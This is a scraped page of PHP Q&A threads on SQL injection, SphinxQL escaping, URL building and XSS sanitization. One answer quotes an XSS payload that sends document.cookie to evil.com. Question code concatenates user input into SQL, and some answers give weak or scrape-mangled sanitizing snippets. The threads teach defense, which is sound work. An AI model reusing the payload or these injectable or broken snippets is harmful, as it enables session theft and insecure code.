Instert html/text to mysql - php

I am using TinyMCE to allow users to edit the content of certain pages, the problem is that I should store html tags, along with class="" -es and ..etc.
How should I defend the application against SQL injection, and store the html tags? (main problem is the " -s, It is messing up the mysql query)
In nutshell, I don't know how to add the $_POST (which is a text) to the insert_to_content() function.
$html = "";
$url = "";if (isset($_GET["page"])) {$url = safesql($_GET["page"]);}
$sqlSelectPageText = mysql_query('SELECT * FROM content WHERE name="'.$url.'" LIMIT 1');
$pageText = mysql_fetch_array($sqlSelectPageText); /**/ $sqlSelectPageText = "";
if (isset($_GET["edit"]) and isset($_POST["text"])) {
insert_to_content($url,I_SHOULD_DO_SOMTHG_WAAA($_POST["text"]));
header('Location: admin.php?page='.$url);
}
$html .= '<div id="editor1div">';
$html .= '<form action="admin.php?page='.$url.'&edit" method="post">';
$html .= ' <input class="formsSubmit" type="image" src="images/yep2.png" alt="Save" />';
$html .= '<p>Content:</p>';
$html .= ' <textarea id="editor1" name="text">';
$html .= ' '.$pageText["text"]; /**/$pageText = "";
$html .= ' </textarea>';
$html .= '</form>';
$html .= '</div>';
echo $html;
function insert_to_content($whatPage, $text) {
if (mysql_query('UPDATE content SET text="'.$text.'", lastdate=NOW() WHERE name="'.$whatPage.'"')) {
return true;
} else {
return false;
}
}
function I_SHOULD_DO_SOMTHG_WAAA($text) {
//what should i do with it?
}
EDIT:
#CaNNaDaRk:
I am trying to use your work, but never used PDO (or OOP PHP) so. So, is it possible that I don't have this function? :D "Class 'PDO' not found in.." `
$db = new PDO("mysql:host=$sqlHost;dbname=$sqlDb;$sqlUser,$sqlPass");
$stmt = $db->prepare('UPDATE content SET text=:text, lastdate=NOW() WHERE name=:name');
$stmt->execute( array(':text' => $html, ':name' => $whatPage ) );

Its not only the tinyMCE text but rather your whole script that may lead to SQL injections. Either use mysql_real_escape_string for every parameter you insert into your query or think of using prepared statements such as PDO.

Use of prepared statements can prevent injection and help you with the " issue.
A little example based on your code:
$stmt = $db->prepare('UPDATE content SET text=:text, lastdate=NOW() WHERE name=:name');
$stmt->execute( array(':text' => $html, ':name' => $whatPage ) );
Execute method also returns bool so you don't have to change your code much.

use mysql_real_escape_string() as suggested
when displaying content, use htmlspecialchars() when adding content into the textarea to prevent XSS.

You basically need different quoting for html/sql target formats. There is nothing like "universal quoting". When quoting, you always quote text for some particular output, like:
string value for mysql query
like expression for mysql query
html code
json
mysql regular expression
php regular expression
For each case, you need different quoting, because each usage is present within different syntax context. This also implies that the quoting shouldn't be made at the input into PHP, but at the particular output! Which is the reason why features like magic_quotes_gpc are broken (never forget to handle it, or better, assure it is switched off!!!).
So, what methods would one use for quoting in these particular cases? (Feel free to correct me, there might be more modern methods, but these are working for me)
mysql_real_escape_string($str)
mysql_real_escape_string(addcslashes($str, "%_"))
htmlspecialchars($str)
json_encode() - only for utf8! I use my function for iso-8859-2
mysql_real_escape_string(addcslashes($str, '^.[]$()|*+?{}')) - you cannot use preg_quote in this case because backslash would be escaped two times!
preg_quote()

Related

Sphinx - How to escape user input for SphinxQL?

I have website where users can search posts by entering keywords,
I am using Sphinx search for full text search, everyhting is working as expected.
But when i enter/input some special charaters in search query the search dosnt complete and throws error.
e.g.
keyword i search for :
hello)
my query for sphinxql :
SELECT id FROM index1 WHERE MATCH('hello)')
error i get :
index index1: syntax error, unexpected ')' near ')'
my php code looks like this
<?php
$sphinxql = mysqli_connect($sphinxql_host.':'.$sphinxql_port,'','') or die('ERROR');
$q = urldecode($_GET['q']);
$sphinxql_query = "SELECT id FROM $sphinx_index WHERE MATCH('".$q."') ";
?>
How can i escape user input and make sure the query wont brake and return the result set ?
You should use SQL escaping, to avoid SQL injection.
http://php.net/manual/en/mysqli.real-escape-string.php
$sphinxql_query = ".... MATCH('".mysqli_real_escape_string($sphinxql,$q)."') ";
... BUT you may want to ALSO, escape extended syntax.
See the FIRST THREE POSTS (after that it delves into misunderstanding) in this thread in the sphinx forum
http://sphinxsearch.com/forum/view.html?id=13619
For a simple solution.
The function in that thread, can be used to make your query work. It will escape the ) and stop it being taken as a operator.
BUT, it also means you WONT be able to use any search operators - because it blindly escapes them ALL. (which is the confusion later in the thread)
If you want to be able to use some or all operators, need to use more advanced escaping. (which I dont have a good solution for)
Edit: actully lets go the whole hog...
<?php
//Escapes all the Extended syntax, so can accept anything the user throws at us.
function EscapeString ( $string ) {
$from = array ( '\\', '(',')','|','-','!','#','~','"','&', '/', '^', '$', '=' );
$to = array ( '\\\\', '\(','\)','\|','\-','\!','\#','\~','\"', '\&', '\/', '\^', '\$', '\=' );
return str_replace ( $from, $to, $string );
}
if ($allow_full_extended_syntax) {
$q = $_GET['q'];
// the user is responsible for providing valid query.
} elseif ($allow_partical_extended_syntax) {
$q = InteligentEscape($_GET['q']);
//I don't have this function, it would need to be created.
} else {
$q = EscapeString($_GET['q']);
// escapes ALL extended syntax. NO operators allowed
}
$sphinxql_query = ".... MATCH('".mysqli_real_escape_string($sphinxql,$q)."') ";
Then it sounds like you want both $allow_full_extended_syntax and $allow_partical_extended_syntax set to false. Which means no operators will work, because they will be fully escaped.
The EscapeString function needs to escape the < character as well. Also see escapeString function in PECL shpinx for reference.

What kind of security loopholes could this creative way of sanitizing input, possibly face? (if any)

The standard way of sanitizing input would be to use commands such as
$url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%#$\|*\'()\\x80-\\xff]|i', '', $url);
$strip = array('%0d', '%0a', '%0D', '%0A');
preg_replace("/[^A-Za-z0-9 ]/", '', $string);
echo htmlentities($str);
However, I like it when my users are able to use nice things like parentheses, carats, quotes, etc in their inputs, comments/usernames/etcetc. Since HTML renders codes such as ( into symbols such as (, I was hoping to use this alternative approach to sanitizing their input.
Before I embarked on writing a function to do this for possibly harmful characters such as ( or ; or < (so injections such as sneaky eval() or <text/javascript> would not work) I tried searching up previous people's attempts at doing this type of sanitization.
I found none.
This makes me think that I must be clearly overlooking some incredibly obvious security flaw in my "creative" sanitization method.
I will not be using this function as the primary way to protect my mySQL database. I have the new mysqli class for that. Adding this sanitization overtop of the mysqli separation of input & query seems like a nice idea, though.
I am using a completely different function to clean up URLs. Those require a different approach.
This function will be used for user input to be displayed on the page, though.
So .... what could I possibly be missing? I KNOW there's gotta be something wrong with this idea since no one else uses it, right?! Is it possible to "re-render the rendered text" or something else horrific and obvious? My pretty little function so far:
Takes input strings like meep';) drop table or
alert(eval('document.body.inne' + 'rHTML'));
function santitize_data($data) {
//explode the string
//do a replacement for each character separately. Only do one replacement.
//dont do it with preg_replace because that function searches through a string in multiple passes
//and replaces already-replaced characters, resulting in horrific mishmash.
//put it back together with + signs iterating through array variables
$patterns = array();
$patterns[0] = "'";
$patterns[1] = '"';
$patterns[2] = '!';
$patterns[3] = '\\';
$patterns[4] = '#';
$patterns[5] = '%';
$patterns[6] = '&';
$patterns[7] = '$';
$patterns[8] = '(';
$patterns[9] = ')';
$patterns[10] = '/';
$patterns[11] = ':';
$patterns[12] = ';';
$patterns[13] = '|';
$patterns[14] = '<';
$patterns[15] = '>';
$patterns[16] = '{';
$patterns[17] = '}';
$replacements = array();
$replacements[0] = ''';
$replacements[1] = '"';
$replacements[2] = '&#33';
$replacements[3] = '\';
$replacements[4] = '#';
$replacements[5] = '%';
$replacements[6] = '&';
$replacements[7] = '$';
$replacements[8] = '(';
$replacements[9] = ')';
$replacements[10] = '/';
$replacements[11] = ':';
$replacements[12] = ';';
$replacements[13] = '|';
$replacements[14] = '<';
$replacements[15] = '>';
$replacements[16] = '{';
$replacements[17] = '}';
$split_data = str_split($data);
foreach ($split_data as &$value) {
for ($i=0; $i<17; $i++){
//testing
//echo '<br> i='.$i.' value='.$value.' patterns[i]='.$patterns[$i].' replacements[i]='.$replacements[$i].'<br>';
if ($value == $patterns[$i]) {
$value = $replacements[$i];
$i=17; } } }
unset($value); // break the reference with the last element
$data = implode($split_data);
//a bit of commented out code .. was using what seemed more logical before ... preg_replace .. but it parses the string in multiple passes ):
//$data = preg_replace($patterns, $replacements, $data);
return $data;
} //---END function definition of santitize_data
Spits out result strings like meep';) drop table or
alert(eval('document.body.inne' + 'rHTML'));
and the user sees these things rendered in the browser like like meep';) drop table and
alert(eval('document.body.inne' + 'rHTML'));
Without analyzing your code I can tell you that there is a high probability that you've overlooked something that an attacker could use to inject their own code.
The main threat here is XSS - you shouldn't need to "sanitize" to insert data into a database. You either use parameterised queries or you correctly encode characters that the database query language confers special meaning to at the point of entry into your database (e.g. ' character). XSS is normally dealt with by encoding at the point of output, however if you want to allow rich text then you need to take a different approach which is what I believe you are looking to achieve here.
Remember there is no magic function that sanitizes input in a generic manner - it very much depends on how and where it is used to determine whether it is safe or not in that context. (This bit added so if anyone searches and finds this answer then they are up to speed - I think you're already on top of this though.)
Complexity is the main enemy of security. If you cannot determine whether your code is safe or not it is too complicated and a sufficiently motivated attacker with enough time will find a way round your sanitization methods.
What can you do about this?
If you want to allow your users to enter rich text you could either allow BBCode to allow users to insert a limited, safe subset of HTML via your own conversion functions or you could allow HTML entry and run the content through a tried and tested solution such as HTML Purifier. Now, HTML Purifier won't be perfect and I'm sure that (another) flaw will be found in it at some point in the future.
How to guard against this?
If you implement a Content Security Policy on your site, this will prevent any successfully injected script code from executing in the browser. See here for current browser support for CSP. Don't be tempted to just use one of these methods - a good security model has layered security so if one control is circumvented, the other can catch it.
Google have now implemented CSP in Gmail to ensure any HTML email received cannot try anything sneaky to launch an XSS attack.

PHP making an URL link work inserting the $variables the right syntax way

I have this link that works.
echo '<a href="?country=Estonia&from_language=Russian&into_language=Latvian&submitted=true&
page='.$x. '">'.$x.'</a> ';
But I need the nouns Estonia, Russian and Latvian replaced by scalar variables like $country, $from_language, $into_language.
I have tried all possible combinations of dots and single and double quotes. I always get syntax errors. I don't know how the embed the variables there.
Anybody knows?
thank you
Do yourself a massive favour and use http_build_queryDocs:
<a href="?<?php echo http_build_query(array(
'country' => $country,
'fromLanguage' => $fromLanguage,
'somethingElse' => $somethingElse,
'...' => '...'
), '', '&'); ?>">Link</a>
use something easy one like sprintf or printf.
eg:
printf('<a href="?country=%s&from_language=%s&into_language=%s&submitted=true&
page=%s">%s</a>', $country, $fromLanguage, $toLanguage, $pageID, $dispText);
You could also use something like encoding with double quote sign like:
echo "<a href=\"?country={$country}&from_language={$fromLanguage}&into_language={$toLanguage}&submitted=true&
page={$pageID}\">{$dispText}</a>"
Avoid to put variables directly into string when not extremely simple. Use concatenation instead, and escape string if you want to make something good:
echo '<a href="?country=' . htmlentities($country) .
'&from_language=' . htmlentities($from_language) .
'&into_language=' . htmlentities($into_language) .
'&submitted=true&page=' . intval($x) . '">' . htmlentities($x) . '</a> ';
Anyway, if you really want it the complex way, you have to consider that you need doble quotes for HTML attributes, but double quotes are needed to wrap the PHP string because you want to put variables in it. So, you must escape HTML double quotes. Try:
echo "' . $x . ' ';
Combining the answers of Corbin and KoolKabin gives you this easy-to-read snippet:
printf('%s',
htmlspecialchars(
http_build_query(array(
'country' => $country,
'from_language' => $from_language,
'into_language' => $into_language,
'submitted' => 'true',
'page' => $x
))
),
htmlspecialchars($x));
Parametrization
printf and sprintf are very useful for adding parameters to strings. They make it easy to add escaping or complex values without making the string itself unreadable. You can always see at a glance what string it is by the first parameter.
http_build_query is also a way of parametrizing, but for the querystring. The main use is that you don't need to focus on the syntax of querystrings at all.
Escaping
htmlspecialchars makes sure that the data is fit for insertion into HTML code. It's similar to escaping in SQL queries to avoid SQL injections, only here we want to avoid HTML injections (also called XSS or cross-site scripting).
http_build_query will automatically make sure that all values are escaped for insertion as an URL in the address field in a browser. This does not guarantee fitness for insertion into HTML code. htmlspecialchars is therefore needed for the querystring as well!
If you scripts output HTML, consider to configure the output setting for argument separators arg_separator.output:
ini_set('arg_separator.output', '&');
You can then simply create the URI query info path by using http_build_query:
$country = 'de';
$fromLanguage = 'en_EN';
?>
Link
Which will give you a perfectly validly encoded output, which is immune to injections:
Link
Full Demo
$country = 'Estonia';
$from_language = 'Russian';
$into_language = 'Latvian';
echo ''.$x.' ';
OR
echo "$x";
OR
echo "{$x}";

Sanitizing Output To Textarea From XSS

What are the best methods of sanitizing values from a database (in php) if they are to be used in inputs like textareas?
For example, when inserting data, I can strip tags and quotes and replace them with html char codes and then use mysql_real_escape_string right before insertion.
When retrieving that data back, I need it to show up in a textarea. How can I do this and still avoid XSS? (Ex. you could easily type in
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
) and cause problems.
Thanks!
I think i would prefer a combo of filter_var and url_decode if you want to use a pure simple php Solution
Reason
Imagine an impute like this
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
If i use strip_tags
var_dump(strip_tags($maliciousCode));
Output
string 'document.write("' (length=16)
if i use htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
Output
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
My Choice
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
Output
string 'document.write(&#34;&#34;); I love PHP' (length=46)
If form is using GET instead of POST some can till escape if it is url encoded , you are able to get a minimal information and make sure the final text is harmless
The are also enough class online to help you do filter see
http://www.phpclasses.org/package/2189-PHP-Filter-out-unwanted-PHP-Javascript-HTML-tags-.html
http://htmlpurifier.org/
HTMLpurifier is a great tool for cleaning out unwanted HTML, particularly unwanted JavaScript. Also using htmlspecialchars() is recommended for outputting user-provided content.
After getting a dirty spammer on my contact form I expanded my function that sanitizes textbox user input.It now also covers multi-line textarea input
I needed to format for normal display and also html email from my contact page.
It also gives option to format for a plain text email which I also use.
function clean_text($text, $html = true)
{ if($text == ""){return "";}
$text = nl2br($text,false); // false gives <br>, true gives <br />
$textary = explode("<br>",$text);
foreach($textary as $key => $val)
{ $val = trim($val);
$val = stripslashes($val);
$val = htmlspecialchars($val);
$textary[$key] = $val;
}
if ($html)
{ return implode("<br />",$textary);} //return implode("<br>",$textary);
else
{ return implode("\r\n",$textary);}
}
By the way... Thanks SO members for being part of my learning PHP.
Example at http://www.microcal.ca/scripts/cleantext.php

IMG SRC inside PHP with more PHP inside how to

I always have trouble mixing languages and I recently started with MYSQL. In this case I have this code:
<?php
$data = mysql_query("SELECT * FROM Badges")
or die(mysql_error());
while($info = mysql_fetch_array( $data ))
{
Print "http://www.google.com/s2/favicons?domain=".$info['Website'] . "";
}
?>
And I need it to print an image instead of the link it's printing.
http://www.google.com/s2/favicons?domain=".$info['Website'] . " being the image's url
How would that be written? Thanks a lot
print '<img src="http://www.google.com/s2/favicons?domain=' . $info['Website'] . '" alt="" />';
Some other tips...
mysql_* are old functions, PDO is much better to use now it is available.
or die() is old too - have you considered exceptions?
echo is more commonly used than print, and you should use the case that is stated in the manual, e.g. print instead of Print.
You should learn about separation of concerns, e.g. you should do your query and data management on a different layer where you pass the relevant data to your view which would consist solely of HTML and some PHP constructs used to generate it.
i usually find it easier to try and express what differs from case to case in an abstract manner. in your case it's the website (after ?domain=) that differs, all the rest is the same. so the url to the image could abstractly be expressed as http://www.google.com/s2/favicons?domain={website} where {website} is a place holder for future replacement.
replacement would then be performed using the function
$result = str_replace($what_to_replace, $what_to_replace_with, $original_string);
the advantage of this is that you're never mixing languages on one line, and this makes the code easier to develop :) just look at this quite easily read piece of code:
<?php
$img = '<img src="http://www.google.com/s2/favicons?domain={website}" />';
$data = mysql_query("SELECT * FROM Badges")
or die(mysql_error());
while($info = mysql_fetch_array( $data ))
{
$concrete_img = str_replace("{website}", $info['Website'], $img);
print $concrete_img;
}
?>

Categories